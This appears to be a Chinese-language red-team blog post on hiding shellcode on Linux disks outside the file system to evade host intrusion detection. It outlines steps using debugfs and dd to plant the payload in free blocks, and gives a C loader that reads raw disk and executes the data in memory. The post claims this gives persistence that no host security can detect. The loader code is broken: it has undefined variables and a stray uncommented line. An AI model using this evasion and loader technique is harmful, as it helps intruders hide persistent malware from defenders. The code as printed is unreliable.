通杀HIDS-Linux绕过文件系统向磁盘写入shellcode
最近研究数据恢复,发现了新的trick。在攻防对抗中,由于主机上都会部署HIDS的agent,这就导致红队在目标主机上落地的任何文件都会被监控到。如果恶意的shellcode不经过文件系统直接落地磁盘,那是不是就可以绕过主机安全的查杀呢?
Linux文件系统写文件的过程
- 进程调用库函数向内核发起读文件请求;
- 内核通过检查进程的文件描述符定位到虚拟文件系统的已打开文件列表表项;
- 调用该文件可用的系统调用函数read()
- read()函数通过文件表项链接到目录项模块,根据传入的文件路径,在目录项模块中检索,找到该文件的inode;
- 在inode中,通过文件内容偏移量计算出要读取的页;
- 通过inode找到文件对应的block的位置;
- 如果页缓存命中,直接把文件内容修改更新在页缓存的页中。写文件就结束了。这时候文件修改位于页缓存,并没有写回到磁盘文件中去。
- 如果页缓存缺失,那么产生一个页缺失异常,创建一个页缓存页,同时通过inode找到文件该页的磁盘地址,读取相应的页填充该缓存页。此时缓存页命中,进行第6步。
总结一下:
本质上正常流程的写文件都需要先向文件系统申请一个空闲的inode,然后分配空闲的block,在对应磁盘block的位置上写入文件内容,然后把block的位置写入到inode结构体中,inode链接对应的文件名。
如何绕过文件系统写文件?
debugfs获取空闲的block
一个block的大小是4k,也就是说单个block只能写入小于4k的文件。
dd向block中写入shellcode
debugfs将申请的空闲block标记为已使用
此时shellcode已经落地磁盘成功,并且将block标记使用后,该block的数据就是受到保护的,不会被文件系统再使用或者覆盖。
武器化利用
loader磁盘读取shellcode内存执行elf
上面只是攻击利用的命令实现。从武器开发的角度,可以用C直接从磁盘上读取block的偏移位置直接加载到内存中执行。demo如下:
/** * 磁盘读取shellcode,内存执行elf */ int main(int argc, char **argv) { int fd; char str[100] = {0}; if (argc != 2) { printf("Usage: %s </dev/sdb or other>\n", argv[0]); return -1; } fd = open(argv[1], O_RDONLY); /* 直接读磁盘,不要读分区 */ if(fd < 0){ printf("open %s err!\n", argv[1]); return -1; } /* offset: 0x1B8 = 0x1B0 + 8 */ lseek(fd, 0x1B8, SEEK_SET); /* 设置读取block的位置 */ read(fd, str, 4); str[5] = '\0'; close(fd); /* 将shellcode读入内存执行*/ void *mem = malloc(size); if (!mem) { perror("malloc"); return 1; } if (fread(mem, 1, size, file) != size) { perror("fread"); return 1; } fclose(file); /*将内存区域标记为可执行*/ if (mprotect(mem, size, PROT_READ | PROT_EXEC) == -1) { perror("mprotect"); return 1; } Create a function pointer to an in-memory ELF file void (*func)() = mem; func(); return 0; }
这样有个好处就是只要loader不被杀,shellcode是在磁盘上永远不会消失的,解决了持久化的问题,而且不可能会被文件系统检测到。
总结
而站在系统的层面是无法识别到该文件的,因为直接写到的磁盘的数据,本身就不是一个文件。利用这个技巧,理论上可以绕过任何主机安全的查杀。
赞赏微信赞赏支付宝赞赏
3条评论